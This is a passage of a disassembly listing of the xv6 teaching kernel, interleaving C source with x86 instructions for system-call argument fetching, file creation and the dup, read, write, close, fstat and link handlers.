// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104ab0: 55 push %ebp
80104ab1: 89 e5 mov %esp,%ebp
80104ab3: 56 push %esi
80104ab4: 53 push %ebx
80104ab5: 83 ec 10 sub $0x10,%esp
80104ab8: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
struct proc *curproc = myproc();
80104abb: e8 30 f0 ff ff call 80103af0 <myproc>
80104ac0: 89 c6 mov %eax,%esi
if(argint(n, &i) < 0)
80104ac2: 8d 45 f4 lea -0xc(%ebp),%eax
80104ac5: 83 ec 08 sub $0x8,%esp
80104ac8: 50 push %eax
80104ac9: ff 75 08 pushl 0x8(%ebp)
80104acc: e8 8f ff ff ff call 80104a60 <argint>
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
80104ad1: 83 c4 10 add $0x10,%esp
80104ad4: 85 c0 test %eax,%eax
80104ad6: 78 28 js 80104b00 <argptr+0x50>
80104ad8: 85 db test %ebx,%ebx
80104ada: 78 24 js 80104b00 <argptr+0x50>
80104adc: 8b 16 mov (%esi),%edx
80104ade: 8b 45 f4 mov -0xc(%ebp),%eax
80104ae1: 39 c2 cmp %eax,%edx
80104ae3: 76 1b jbe 80104b00 <argptr+0x50>
80104ae5: 01 c3 add %eax,%ebx
80104ae7: 39 da cmp %ebx,%edx
80104ae9: 72 15 jb 80104b00 <argptr+0x50>
return -1;
*pp = (char*)i;
80104aeb: 8b 55 0c mov 0xc(%ebp),%edx
80104aee: 89 02 mov %eax,(%edx)
return 0;
80104af0: 31 c0 xor %eax,%eax
}
80104af2: 8d 65 f8 lea -0x8(%ebp),%esp
80104af5: 5b pop %ebx
80104af6: 5e pop %esi
80104af7: 5d pop %ebp
80104af8: c3 ret
80104af9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104b00: b8 ff ff ff ff mov $0xffffffff,%eax
80104b05: eb eb jmp 80104af2 <argptr+0x42>
80104b07: 89 f6 mov %esi,%esi
80104b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b10 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
80104b10: 55 push %ebp
80104b11: 89 e5 mov %esp,%ebp
80104b13: 83 ec 20 sub $0x20,%esp
int addr;
if(argint(n, &addr) < 0)
80104b16: 8d 45 f4 lea -0xc(%ebp),%eax
80104b19: 50 push %eax
80104b1a: ff 75 08 pushl 0x8(%ebp)
80104b1d: e8 3e ff ff ff call 80104a60 <argint>
80104b22: 83 c4 10 add $0x10,%esp
80104b25: 85 c0 test %eax,%eax
80104b27: 78 17 js 80104b40 <argstr+0x30>
return -1;
return fetchstr(addr, pp);
80104b29: 83 ec 08 sub $0x8,%esp
80104b2c: ff 75 0c pushl 0xc(%ebp)
80104b2f: ff 75 f4 pushl -0xc(%ebp)
80104b32: e8 b9 fe ff ff call 801049f0 <fetchstr>
80104b37: 83 c4 10 add $0x10,%esp
}
80104b3a: c9 leave
80104b3b: c3 ret
80104b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104b40: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104b45: c9 leave
80104b46: c3 ret
80104b47: 89 f6 mov %esi,%esi
80104b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104b50 <syscall>:
[SYS_close] sys_close,
};
void
syscall(void)
{
80104b50: 55 push %ebp
80104b51: 89 e5 mov %esp,%ebp
80104b53: 53 push %ebx
80104b54: 83 ec 04 sub $0x4,%esp
int num;
struct proc *curproc = myproc();
80104b57: e8 94 ef ff ff call 80103af0 <myproc>
80104b5c: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
80104b5e: 8b 40 18 mov 0x18(%eax),%eax
80104b61: 8b 40 1c mov 0x1c(%eax),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104b64: 8d 50 ff lea -0x1(%eax),%edx
80104b67: 83 fa 14 cmp $0x14,%edx
80104b6a: 77 1c ja 80104b88 <syscall+0x38>
80104b6c: 8b 14 85 a0 78 10 80 mov -0x7fef8760(,%eax,4),%edx
80104b73: 85 d2 test %edx,%edx
80104b75: 74 11 je 80104b88 <syscall+0x38>
curproc->tf->eax = syscalls[num]();
80104b77: ff d2 call *%edx
80104b79: 8b 53 18 mov 0x18(%ebx),%edx
80104b7c: 89 42 1c mov %eax,0x1c(%edx)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
80104b7f: 8b 5d fc mov -0x4(%ebp),%ebx
80104b82: c9 leave
80104b83: c3 ret
80104b84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("%d %s: unknown sys call %d\n",
80104b88: 50 push %eax
curproc->pid, curproc->name, num);
80104b89: 8d 43 6c lea 0x6c(%ebx),%eax
cprintf("%d %s: unknown sys call %d\n",
80104b8c: 50 push %eax
80104b8d: ff 73 10 pushl 0x10(%ebx)
80104b90: 68 71 78 10 80 push $0x80107871
80104b95: e8 c6 ba ff ff call 80100660 <cprintf>
curproc->tf->eax = -1;
80104b9a: 8b 43 18 mov 0x18(%ebx),%eax
80104b9d: 83 c4 10 add $0x10,%esp
80104ba0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
80104ba7: 8b 5d fc mov -0x4(%ebp),%ebx
80104baa: c9 leave
80104bab: c3 ret
80104bac: 66 90 xchg %ax,%ax
80104bae: 66 90 xchg %ax,%ax
80104bb0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
80104bb0: 55 push %ebp
80104bb1: 89 e5 mov %esp,%ebp
80104bb3: 57 push %edi
80104bb4: 56 push %esi
80104bb5: 53 push %ebx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80104bb6: 8d 75 da lea -0x26(%ebp),%esi
{
80104bb9: 83 ec 44 sub $0x44,%esp
80104bbc: 89 4d c0 mov %ecx,-0x40(%ebp)
80104bbf: 8b 4d 08 mov 0x8(%ebp),%ecx
if((dp = nameiparent(path, name)) == 0)
80104bc2: 56 push %esi
80104bc3: 50 push %eax
{
80104bc4: 89 55 c4 mov %edx,-0x3c(%ebp)
80104bc7: 89 4d bc mov %ecx,-0x44(%ebp)
if((dp = nameiparent(path, name)) == 0)
80104bca: e8 41 d6 ff ff call 80102210 <nameiparent>
80104bcf: 83 c4 10 add $0x10,%esp
80104bd2: 85 c0 test %eax,%eax
80104bd4: 0f 84 46 01 00 00 je 80104d20 <create+0x170>
return 0;
ilock(dp);
80104bda: 83 ec 0c sub $0xc,%esp
80104bdd: 89 c3 mov %eax,%ebx
80104bdf: 50 push %eax
80104be0: e8 ab cd ff ff call 80101990 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
80104be5: 8d 45 d4 lea -0x2c(%ebp),%eax
80104be8: 83 c4 0c add $0xc,%esp
80104beb: 50 push %eax
80104bec: 56 push %esi
80104bed: 53 push %ebx
80104bee: e8 cd d2 ff ff call 80101ec0 <dirlookup>
80104bf3: 83 c4 10 add $0x10,%esp
80104bf6: 85 c0 test %eax,%eax
80104bf8: 89 c7 mov %eax,%edi
80104bfa: 74 34 je 80104c30 <create+0x80>
iunlockput(dp);
80104bfc: 83 ec 0c sub $0xc,%esp
80104bff: 53 push %ebx
80104c00: e8 1b d0 ff ff call 80101c20 <iunlockput>
ilock(ip);
80104c05: 89 3c 24 mov %edi,(%esp)
80104c08: e8 83 cd ff ff call 80101990 <ilock>
if(type == T_FILE && ip->type == T_FILE)
80104c0d: 83 c4 10 add $0x10,%esp
80104c10: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp)
80104c15: 0f 85 95 00 00 00 jne 80104cb0 <create+0x100>
80104c1b: 66 83 7f 50 02 cmpw $0x2,0x50(%edi)
80104c20: 0f 85 8a 00 00 00 jne 80104cb0 <create+0x100>
panic("create: dirlink");
iunlockput(dp);
return ip;
}
80104c26: 8d 65 f4 lea -0xc(%ebp),%esp
80104c29: 89 f8 mov %edi,%eax
80104c2b: 5b pop %ebx
80104c2c: 5e pop %esi
80104c2d: 5f pop %edi
80104c2e: 5d pop %ebp
80104c2f: c3 ret
if((ip = ialloc(dp->dev, type)) == 0)
80104c30: 0f bf 45 c4 movswl -0x3c(%ebp),%eax
80104c34: 83 ec 08 sub $0x8,%esp
80104c37: 50 push %eax
80104c38: ff 33 pushl (%ebx)
80104c3a: e8 e1 cb ff ff call 80101820 <ialloc>
80104c3f: 83 c4 10 add $0x10,%esp
80104c42: 85 c0 test %eax,%eax
80104c44: 89 c7 mov %eax,%edi
80104c46: 0f 84 e8 00 00 00 je 80104d34 <create+0x184>
ilock(ip);
80104c4c: 83 ec 0c sub $0xc,%esp
80104c4f: 50 push %eax
80104c50: e8 3b cd ff ff call 80101990 <ilock>
ip->major = major;
80104c55: 0f b7 45 c0 movzwl -0x40(%ebp),%eax
80104c59: 66 89 47 52 mov %ax,0x52(%edi)
ip->minor = minor;
80104c5d: 0f b7 45 bc movzwl -0x44(%ebp),%eax
80104c61: 66 89 47 54 mov %ax,0x54(%edi)
ip->nlink = 1;
80104c65: b8 01 00 00 00 mov $0x1,%eax
80104c6a: 66 89 47 56 mov %ax,0x56(%edi)
iupdate(ip);
80104c6e: 89 3c 24 mov %edi,(%esp)
80104c71: e8 6a cc ff ff call 801018e0 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80104c76: 83 c4 10 add $0x10,%esp
80104c79: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp)
80104c7e: 74 50 je 80104cd0 <create+0x120>
if(dirlink(dp, name, ip->inum) < 0)
80104c80: 83 ec 04 sub $0x4,%esp
80104c83: ff 77 04 pushl 0x4(%edi)
80104c86: 56 push %esi
80104c87: 53 push %ebx
80104c88: e8 a3 d4 ff ff call 80102130 <dirlink>
80104c8d: 83 c4 10 add $0x10,%esp
80104c90: 85 c0 test %eax,%eax
80104c92: 0f 88 8f 00 00 00 js 80104d27 <create+0x177>
iunlockput(dp);
80104c98: 83 ec 0c sub $0xc,%esp
80104c9b: 53 push %ebx
80104c9c: e8 7f cf ff ff call 80101c20 <iunlockput>
return ip;
80104ca1: 83 c4 10 add $0x10,%esp
}
80104ca4: 8d 65 f4 lea -0xc(%ebp),%esp
80104ca7: 89 f8 mov %edi,%eax
80104ca9: 5b pop %ebx
80104caa: 5e pop %esi
80104cab: 5f pop %edi
80104cac: 5d pop %ebp
80104cad: c3 ret
80104cae: 66 90 xchg %ax,%ax
iunlockput(ip);
80104cb0: 83 ec 0c sub $0xc,%esp
80104cb3: 57 push %edi
return 0;
80104cb4: 31 ff xor %edi,%edi
iunlockput(ip);
80104cb6: e8 65 cf ff ff call 80101c20 <iunlockput>
return 0;
80104cbb: 83 c4 10 add $0x10,%esp
}
80104cbe: 8d 65 f4 lea -0xc(%ebp),%esp
80104cc1: 89 f8 mov %edi,%eax
80104cc3: 5b pop %ebx
80104cc4: 5e pop %esi
80104cc5: 5f pop %edi
80104cc6: 5d pop %ebp
80104cc7: c3 ret
80104cc8: 90 nop
80104cc9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
dp->nlink++; // for ".."
80104cd0: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(dp);
80104cd5: 83 ec 0c sub $0xc,%esp
80104cd8: 53 push %ebx
80104cd9: e8 02 cc ff ff call 801018e0 <iupdate>
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80104cde: 83 c4 0c add $0xc,%esp
80104ce1: ff 77 04 pushl 0x4(%edi)
80104ce4: 68 14 79 10 80 push $0x80107914
80104ce9: 57 push %edi
80104cea: e8 41 d4 ff ff call 80102130 <dirlink>
80104cef: 83 c4 10 add $0x10,%esp
80104cf2: 85 c0 test %eax,%eax
80104cf4: 78 1c js 80104d12 <create+0x162>
80104cf6: 83 ec 04 sub $0x4,%esp
80104cf9: ff 73 04 pushl 0x4(%ebx)
80104cfc: 68 13 79 10 80 push $0x80107913
80104d01: 57 push %edi
80104d02: e8 29 d4 ff ff call 80102130 <dirlink>
80104d07: 83 c4 10 add $0x10,%esp
80104d0a: 85 c0 test %eax,%eax
80104d0c: 0f 89 6e ff ff ff jns 80104c80 <create+0xd0>
panic("create dots");
80104d12: 83 ec 0c sub $0xc,%esp
80104d15: 68 07 79 10 80 push $0x80107907
80104d1a: e8 71 b6 ff ff call 80100390 <panic>
80104d1f: 90 nop
return 0;
80104d20: 31 ff xor %edi,%edi
80104d22: e9 ff fe ff ff jmp 80104c26 <create+0x76>
panic("create: dirlink");
80104d27: 83 ec 0c sub $0xc,%esp
80104d2a: 68 16 79 10 80 push $0x80107916
80104d2f: e8 5c b6 ff ff call 80100390 <panic>
panic("create: ialloc");
80104d34: 83 ec 0c sub $0xc,%esp
80104d37: 68 f8 78 10 80 push $0x801078f8
80104d3c: e8 4f b6 ff ff call 80100390 <panic>
80104d41: eb 0d jmp 80104d50 <argfd.constprop.0>
80104d43: 90 nop
80104d44: 90 nop
80104d45: 90 nop
80104d46: 90 nop
80104d47: 90 nop
80104d48: 90 nop
80104d49: 90 nop
80104d4a: 90 nop
80104d4b: 90 nop
80104d4c: 90 nop
80104d4d: 90 nop
80104d4e: 90 nop
80104d4f: 90 nop
80104d50 <argfd.constprop.0>:
argfd(int n, int *pfd, struct file **pf)
80104d50: 55 push %ebp
80104d51: 89 e5 mov %esp,%ebp
80104d53: 56 push %esi
80104d54: 53 push %ebx
80104d55: 89 c3 mov %eax,%ebx
if(argint(n, &fd) < 0)
80104d57: 8d 45 f4 lea -0xc(%ebp),%eax
argfd(int n, int *pfd, struct file **pf)
80104d5a: 89 d6 mov %edx,%esi
80104d5c: 83 ec 18 sub $0x18,%esp
if(argint(n, &fd) < 0)
80104d5f: 50 push %eax
80104d60: 6a 00 push $0x0
80104d62: e8 f9 fc ff ff call 80104a60 <argint>
80104d67: 83 c4 10 add $0x10,%esp
80104d6a: 85 c0 test %eax,%eax
80104d6c: 78 2a js 80104d98 <argfd.constprop.0+0x48>
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
80104d6e: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
80104d72: 77 24 ja 80104d98 <argfd.constprop.0+0x48>
80104d74: e8 77 ed ff ff call 80103af0 <myproc>
80104d79: 8b 55 f4 mov -0xc(%ebp),%edx
80104d7c: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
80104d80: 85 c0 test %eax,%eax
80104d82: 74 14 je 80104d98 <argfd.constprop.0+0x48>
if(pfd)
80104d84: 85 db test %ebx,%ebx
80104d86: 74 02 je 80104d8a <argfd.constprop.0+0x3a>
*pfd = fd;
80104d88: 89 13 mov %edx,(%ebx)
*pf = f;
80104d8a: 89 06 mov %eax,(%esi)
return 0;
80104d8c: 31 c0 xor %eax,%eax
}
80104d8e: 8d 65 f8 lea -0x8(%ebp),%esp
80104d91: 5b pop %ebx
80104d92: 5e pop %esi
80104d93: 5d pop %ebp
80104d94: c3 ret
80104d95: 8d 76 00 lea 0x0(%esi),%esi
return -1;
80104d98: b8 ff ff ff ff mov $0xffffffff,%eax
80104d9d: eb ef jmp 80104d8e <argfd.constprop.0+0x3e>
80104d9f: 90 nop
80104da0 <sys_dup>:
{
80104da0: 55 push %ebp
if(argfd(0, 0, &f) < 0)
80104da1: 31 c0 xor %eax,%eax
{
80104da3: 89 e5 mov %esp,%ebp
80104da5: 56 push %esi
80104da6: 53 push %ebx
if(argfd(0, 0, &f) < 0)
80104da7: 8d 55 f4 lea -0xc(%ebp),%edx
{
80104daa: 83 ec 10 sub $0x10,%esp
if(argfd(0, 0, &f) < 0)
80104dad: e8 9e ff ff ff call 80104d50 <argfd.constprop.0>
80104db2: 85 c0 test %eax,%eax
80104db4: 78 42 js 80104df8 <sys_dup+0x58>
if((fd=fdalloc(f)) < 0)
80104db6: 8b 75 f4 mov -0xc(%ebp),%esi
for(fd = 0; fd < NOFILE; fd++){
80104db9: 31 db xor %ebx,%ebx
struct proc *curproc = myproc();
80104dbb: e8 30 ed ff ff call 80103af0 <myproc>
80104dc0: eb 0e jmp 80104dd0 <sys_dup+0x30>
80104dc2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(fd = 0; fd < NOFILE; fd++){
80104dc8: 83 c3 01 add $0x1,%ebx
80104dcb: 83 fb 10 cmp $0x10,%ebx
80104dce: 74 28 je 80104df8 <sys_dup+0x58>
if(curproc->ofile[fd] == 0){
80104dd0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
80104dd4: 85 d2 test %edx,%edx
80104dd6: 75 f0 jne 80104dc8 <sys_dup+0x28>
curproc->ofile[fd] = f;
80104dd8: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4)
filedup(f);
80104ddc: 83 ec 0c sub $0xc,%esp
80104ddf: ff 75 f4 pushl -0xc(%ebp)
80104de2: e8 09 c3 ff ff call 801010f0 <filedup>
return fd;
80104de7: 83 c4 10 add $0x10,%esp
}
80104dea: 8d 65 f8 lea -0x8(%ebp),%esp
80104ded: 89 d8 mov %ebx,%eax
80104def: 5b pop %ebx
80104df0: 5e pop %esi
80104df1: 5d pop %ebp
80104df2: c3 ret
80104df3: 90 nop
80104df4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104df8: 8d 65 f8 lea -0x8(%ebp),%esp
return -1;
80104dfb: bb ff ff ff ff mov $0xffffffff,%ebx
}
80104e00: 89 d8 mov %ebx,%eax
80104e02: 5b pop %ebx
80104e03: 5e pop %esi
80104e04: 5d pop %ebp
80104e05: c3 ret
80104e06: 8d 76 00 lea 0x0(%esi),%esi
80104e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e10 <sys_read>:
{
80104e10: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e11: 31 c0 xor %eax,%eax
{
80104e13: 89 e5 mov %esp,%ebp
80104e15: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e18: 8d 55 ec lea -0x14(%ebp),%edx
80104e1b: e8 30 ff ff ff call 80104d50 <argfd.constprop.0>
80104e20: 85 c0 test %eax,%eax
80104e22: 78 4c js 80104e70 <sys_read+0x60>
80104e24: 8d 45 f0 lea -0x10(%ebp),%eax
80104e27: 83 ec 08 sub $0x8,%esp
80104e2a: 50 push %eax
80104e2b: 6a 02 push $0x2
80104e2d: e8 2e fc ff ff call 80104a60 <argint>
80104e32: 83 c4 10 add $0x10,%esp
80104e35: 85 c0 test %eax,%eax
80104e37: 78 37 js 80104e70 <sys_read+0x60>
80104e39: 8d 45 f4 lea -0xc(%ebp),%eax
80104e3c: 83 ec 04 sub $0x4,%esp
80104e3f: ff 75 f0 pushl -0x10(%ebp)
80104e42: 50 push %eax
80104e43: 6a 01 push $0x1
80104e45: e8 66 fc ff ff call 80104ab0 <argptr>
80104e4a: 83 c4 10 add $0x10,%esp
80104e4d: 85 c0 test %eax,%eax
80104e4f: 78 1f js 80104e70 <sys_read+0x60>
return fileread(f, p, n);
80104e51: 83 ec 04 sub $0x4,%esp
80104e54: ff 75 f0 pushl -0x10(%ebp)
80104e57: ff 75 f4 pushl -0xc(%ebp)
80104e5a: ff 75 ec pushl -0x14(%ebp)
80104e5d: e8 fe c3 ff ff call 80101260 <fileread>
80104e62: 83 c4 10 add $0x10,%esp
}
80104e65: c9 leave
80104e66: c3 ret
80104e67: 89 f6 mov %esi,%esi
80104e69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104e70: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104e75: c9 leave
80104e76: c3 ret
80104e77: 89 f6 mov %esi,%esi
80104e79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104e80 <sys_write>:
{
80104e80: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e81: 31 c0 xor %eax,%eax
{
80104e83: 89 e5 mov %esp,%ebp
80104e85: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104e88: 8d 55 ec lea -0x14(%ebp),%edx
80104e8b: e8 c0 fe ff ff call 80104d50 <argfd.constprop.0>
80104e90: 85 c0 test %eax,%eax
80104e92: 78 4c js 80104ee0 <sys_write+0x60>
80104e94: 8d 45 f0 lea -0x10(%ebp),%eax
80104e97: 83 ec 08 sub $0x8,%esp
80104e9a: 50 push %eax
80104e9b: 6a 02 push $0x2
80104e9d: e8 be fb ff ff call 80104a60 <argint>
80104ea2: 83 c4 10 add $0x10,%esp
80104ea5: 85 c0 test %eax,%eax
80104ea7: 78 37 js 80104ee0 <sys_write+0x60>
80104ea9: 8d 45 f4 lea -0xc(%ebp),%eax
80104eac: 83 ec 04 sub $0x4,%esp
80104eaf: ff 75 f0 pushl -0x10(%ebp)
80104eb2: 50 push %eax
80104eb3: 6a 01 push $0x1
80104eb5: e8 f6 fb ff ff call 80104ab0 <argptr>
80104eba: 83 c4 10 add $0x10,%esp
80104ebd: 85 c0 test %eax,%eax
80104ebf: 78 1f js 80104ee0 <sys_write+0x60>
return filewrite(f, p, n);
80104ec1: 83 ec 04 sub $0x4,%esp
80104ec4: ff 75 f0 pushl -0x10(%ebp)
80104ec7: ff 75 f4 pushl -0xc(%ebp)
80104eca: ff 75 ec pushl -0x14(%ebp)
80104ecd: e8 1e c4 ff ff call 801012f0 <filewrite>
80104ed2: 83 c4 10 add $0x10,%esp
}
80104ed5: c9 leave
80104ed6: c3 ret
80104ed7: 89 f6 mov %esi,%esi
80104ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104ee0: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104ee5: c9 leave
80104ee6: c3 ret
80104ee7: 89 f6 mov %esi,%esi
80104ee9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ef0 <sys_close>:
{
80104ef0: 55 push %ebp
80104ef1: 89 e5 mov %esp,%ebp
80104ef3: 83 ec 18 sub $0x18,%esp
if(argfd(0, &fd, &f) < 0)
80104ef6: 8d 55 f4 lea -0xc(%ebp),%edx
80104ef9: 8d 45 f0 lea -0x10(%ebp),%eax
80104efc: e8 4f fe ff ff call 80104d50 <argfd.constprop.0>
80104f01: 85 c0 test %eax,%eax
80104f03: 78 2b js 80104f30 <sys_close+0x40>
myproc()->ofile[fd] = 0;
80104f05: e8 e6 eb ff ff call 80103af0 <myproc>
80104f0a: 8b 55 f0 mov -0x10(%ebp),%edx
fileclose(f);
80104f0d: 83 ec 0c sub $0xc,%esp
myproc()->ofile[fd] = 0;
80104f10: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104f17: 00
fileclose(f);
80104f18: ff 75 f4 pushl -0xc(%ebp)
80104f1b: e8 20 c2 ff ff call 80101140 <fileclose>
return 0;
80104f20: 83 c4 10 add $0x10,%esp
80104f23: 31 c0 xor %eax,%eax
}
80104f25: c9 leave
80104f26: c3 ret
80104f27: 89 f6 mov %esi,%esi
80104f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
80104f30: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104f35: c9 leave
80104f36: c3 ret
80104f37: 89 f6 mov %esi,%esi
80104f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104f40 <sys_fstat>:
{
80104f40: 55 push %ebp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104f41: 31 c0 xor %eax,%eax
{
80104f43: 89 e5 mov %esp,%ebp
80104f45: 83 ec 18 sub $0x18,%esp
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104f48: 8d 55 f0 lea -0x10(%ebp),%edx
80104f4b: e8 00 fe ff ff call 80104d50 <argfd.constprop.0>
80104f50: 85 c0 test %eax,%eax
80104f52: 78 2c js 80104f80 <sys_fstat+0x40>
80104f54: 8d 45 f4 lea -0xc(%ebp),%eax
80104f57: 83 ec 04 sub $0x4,%esp
80104f5a: 6a 14 push $0x14
80104f5c: 50 push %eax
80104f5d: 6a 01 push $0x1
80104f5f: e8 4c fb ff ff call 80104ab0 <argptr>
80104f64: 83 c4 10 add $0x10,%esp
80104f67: 85 c0 test %eax,%eax
80104f69: 78 15 js 80104f80 <sys_fstat+0x40>
return filestat(f, st);
80104f6b: 83 ec 08 sub $0x8,%esp
80104f6e: ff 75 f4 pushl -0xc(%ebp)
80104f71: ff 75 f0 pushl -0x10(%ebp)
80104f74: e8 97 c2 ff ff call 80101210 <filestat>
80104f79: 83 c4 10 add $0x10,%esp
}
80104f7c: c9 leave
80104f7d: c3 ret
80104f7e: 66 90 xchg %ax,%ax
return -1;
80104f80: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104f85: c9 leave
80104f86: c3 ret
80104f87: 89 f6 mov %esi,%esi
80104f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104f90 <sys_link>:
{
80104f90: 55 push %ebp
80104f91: 89 e5 mov %esp,%ebp
80104f93: 57 push %edi
80104f94: 56 push %esi
80104f95: 53 push %ebx
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104f96: 8d 45 d4 lea -0x2c(%ebp),%eax
{
80104f99: 83 ec 34 sub $0x34,%esp
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104f9c: 50 push %eax
80104f9d: 6a 00 push $0x0
80104f9f: e8 6c fb ff ff call 80104b10 <argstr>
80104fa4: 83 c4 10 add $0x10,%esp
80104fa7: 85 c0 test %eax,%eax
80104fa9: 0f 88 fb 00 00 00 js 801050aa <sys_link+0x11a>
80104faf: 8d 45 d0 lea -0x30(%ebp),%eax
80104fb2: 83 ec 08 sub $0x8,%esp
80104fb5: 50 push %eax
80104fb6: 6a 01 push $0x1
80104fb8: e8 53 fb ff ff call 80104b10 <argstr>
80104fbd: 83 c4 10 add $0x10,%esp
80104fc0: 85 c0 test %eax,%eax
80104fc2: 0f 88 e2 00 00 00 js 801050aa <sys_link+0x11a>
begin_op();
80104fc8: e8 e3 de ff ff call 80102eb0 <begin_op>
if((ip = namei(old)) == 0){
80104fcd: 83 ec 0c sub $0xc,%esp
80104fd0: ff 75 d4 pushl -0x2c(%ebp)
80104fd3: e8 18 d2 ff ff call 801021f0 <namei>
80104fd8: 83 c4 10 add $0x10,%esp
80104fdb: 85 c0 test %eax,%eax
80104fdd: 89 c3 mov %eax,%ebx
80104fdf: 0f 84 ea 00 00 00 je 801050cf <sys_link+0x13f>
ilock(ip);
80104fe5: 83 ec 0c sub $0xc,%esp
80104fe8: 50 push %eax
80104fe9: e8 a2 c9 ff ff call 80101990 <ilock>
if(ip->type == T_DIR){
80104fee: 83 c4 10 add $0x10,%esp
80104ff1: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104ff6: 0f 84 bb 00 00 00 je 801050b7 <sys_link+0x127>
ip->nlink++;
80104ffc: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
80105001: 83 ec 0c sub $0xc,%esp
if((dp = nameiparent(new, name)) == 0)
80105004: 8d 7d da lea -0x26(%ebp),%edi
iupdate(ip);
80105007: 53 push %ebx
80105008: e8 d3 c8 ff ff call 801018e0 <iupdate>
iunlock(ip);
8010500d: 89 1c 24 mov %ebx,(%esp)
80105010: e8 5b ca ff ff call 80101a70 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80105015: 58 pop %eax
80105016: 5a pop %edx
80105017: 57 push %edi
80105018: ff 75 d0 pushl -0x30(%ebp)
8010501b: e8 f0 d1 ff ff call 80102210 <nameiparent>
80105020: 83 c4 10 add $0x10,%esp
80105023: 85 c0 test %eax,%eax
80105025: 89 c6 mov %eax,%esi
80105027: 74 5b je 80105084 <sys_link+0xf4>
ilock(dp);
80105029: 83 ec 0c sub $0xc,%esp
8010502c: 50 push %eax
8010502d: e8 5e c9 ff ff call 80101990 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80105032: 83 c4 10 add $0x10,%esp
80105035: 8b 03 mov (%ebx),%eax
80105037: 39 06 cmp %eax,(%esi)
80105039: 75 3d jne 80105078 <sys_link+0xe8>
8010503b: 83 ec 04 sub $0x4,%esp
8010503e: ff 73 04 pushl 0x4(%ebx)
80105041: 57 push %edi
80105042: 56 push %esi
80105043: e8 e8 d0 ff ff call 80102130 <dirlink>
80105048: 83 c4 10 add $0x10,%esp
8010504b: 85 c0 test %eax,%eax
8010504d: 78 29 js 80105078 <sys_link+0xe8>
iunlockput(dp);
8010504f: 83 ec 0c sub $0xc,%esp
80105052: 56 push %esi
80105053: e8 c8 cb ff ff call 80101c20 <iunlockput>
iput(ip);
80105058: 89 1c 24 mov %ebx,(%esp)
8010505b: e8 60 ca ff ff call 80101ac0 <iput>
end_op();
80105060: e8 bb de ff ff call 80102f20 <end_op>
return 0;
80105065: 83 c4 10 add $0x10,%esp
80105068: 31 c0 xor %eax,%eax
}
8010506a: 8d 65 f4 lea -0xc(%ebp),%esp
8010506d: 5b pop %ebx
8010506e: 5e pop %esi
8010506f: 5f pop %edi
80105070: 5d pop %ebp
